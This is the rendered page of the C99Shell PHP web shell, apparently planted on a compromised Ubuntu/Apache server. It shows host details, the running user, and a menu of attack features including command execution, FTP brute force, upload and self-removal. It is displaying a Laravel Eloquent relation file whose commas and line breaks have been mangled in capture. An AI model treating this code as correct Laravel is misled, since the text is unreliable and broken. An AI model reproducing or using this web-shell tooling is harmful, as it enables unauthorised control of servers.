!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/   drwxrwxr-x
Free 13.01 GB of 57.97 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MorphOneOrMany.php (3.06 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database\Eloquent\Relations;

use 
Illuminate\Database\Eloquent\Builder;
use 
Illuminate\Database\Eloquent\Model;

abstract class 
MorphOneOrMany extends HasOneOrMany
{
    
/**
     * The foreign key type for the relationship.
     *
     * @var string
     */
    
protected $morphType;

    
/**
     * The class name of the parent model.
     *
     * @var string
     */
    
protected $morphClass;

    
/**
     * Create a new morph one or many relationship instance.
     *
     * @param  \Illuminate\Database\Eloquent\Builder  $query
     * @param  \Illuminate\Database\Eloquent\Model  $parent
     * @param  string  $type
     * @param  string  $id
     * @param  string  $localKey
     * @return void
     */
    
public function __construct(Builder $queryModel $parent$type$id$localKey)
    {
        
$this->morphType $type;

        
$this->morphClass $parent->getMorphClass();

        
parent::__construct($query$parent$id$localKey);
    }

    
/**
     * Set the base constraints on the relation query.
     *
     * @return void
     */
    
public function addConstraints()
    {
        if (static::
$constraints) {
            
$this->getRelationQuery()->where($this->morphType$this->morphClass);

            
parent::addConstraints();
        }
    }

    
/**
     * Set the constraints for an eager load of the relation.
     *
     * @param  array  $models
     * @return void
     */
    
public function addEagerConstraints(array $models)
    {
        
parent::addEagerConstraints($models);

        
$this->getRelationQuery()->where($this->morphType$this->morphClass);
    }

    
/**
     * Set the foreign ID and type for creating a related model.
     *
     * @param  \Illuminate\Database\Eloquent\Model  $model
     * @return void
     */
    
protected function setForeignAttributesForCreate(Model $model)
    {
        
$model->{$this->getForeignKeyName()} = $this->getParentKey();

        
$model->{$this->getMorphType()} = $this->morphClass;
    }

    
/**
     * Get the relationship query.
     *
     * @param  \Illuminate\Database\Eloquent\Builder  $query
     * @param  \Illuminate\Database\Eloquent\Builder  $parentQuery
     * @param  array|mixed  $columns
     * @return \Illuminate\Database\Eloquent\Builder
     */
    
public function getRelationExistenceQuery(Builder $queryBuilder $parentQuery$columns = ['*'])
    {
        return 
parent::getRelationExistenceQuery($query$parentQuery$columns)->where(
            
$query->qualifyColumn($this->getMorphType()), $this->morphClass
        
);
    }

    
/**
     * Get the foreign key "type" name.
     *
     * @return string
     */
    
public function getQualifiedMorphType()
    {
        return 
$this->morphType;
    }

    
/**
     * Get the plain morph type name without the table.
     *
     * @return string
     */
    
public function getMorphType()
    {
        return 
last(explode('.'$this->morphType));
    }

    
/**
     * Get the class name of the parent model.
     *
     * @return string
     */
    
public function getMorphClass()
    {
        return 
$this->morphClass;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--